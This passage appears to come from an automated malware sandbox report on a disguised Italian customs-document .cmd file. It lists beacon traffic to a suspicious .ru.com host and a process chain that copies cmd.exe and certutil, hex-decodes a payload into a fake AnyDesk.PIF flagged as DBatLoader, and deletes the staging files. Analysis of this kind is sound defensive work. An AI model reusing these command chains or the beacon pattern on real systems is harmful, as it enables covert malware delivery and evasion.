51	192.168.2.4	49962	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:39 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:40 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:39 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:40 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49969	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:42 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:42 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:42 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:42 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49976	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:44 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:44 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:44 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:44 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49983	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:46 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:46 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:46 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:46 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Target ID:	0
Start time:	03:38:41
Start date:	26/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "
Imagebase:	0x7ff7139e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	03:38:41
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	03:38:42
Start date:	26/11/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Imagebase:	0x7ff679a60000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	03:38:42
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Imagebase:	0x7ff7e1db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:38:42
Start date:	26/11/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Imagebase:	0x7ff679a60000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	03:38:42
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Imagebase:	0x7ff7e1db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	03:38:42
Start date:	26/11/2024
Path:	C:\Users\Public\kn.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Imagebase:	0x7ff67c4b0000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	7
Start time:	03:38:43
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Imagebase:	0x7ff7e1db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	03:38:43
Start date:	26/11/2024
Path:	C:\Users\Public\kn.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Imagebase:	0x7ff67c4b0000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	03:38:44
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\AnyDesk.PIF
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\AnyDesk.PIF
Imagebase:	0x400000
File size:	1'299'968 bytes
MD5 hash:	BCEEA9753420A675AF68CDA43864438E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000009.00000003.1720758818.000000007F880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	10
Start time:	03:38:44
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
Imagebase:	0x7ff7e1db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	11
Start time:	03:38:44
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
Imagebase:	0x7ff7e1db0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true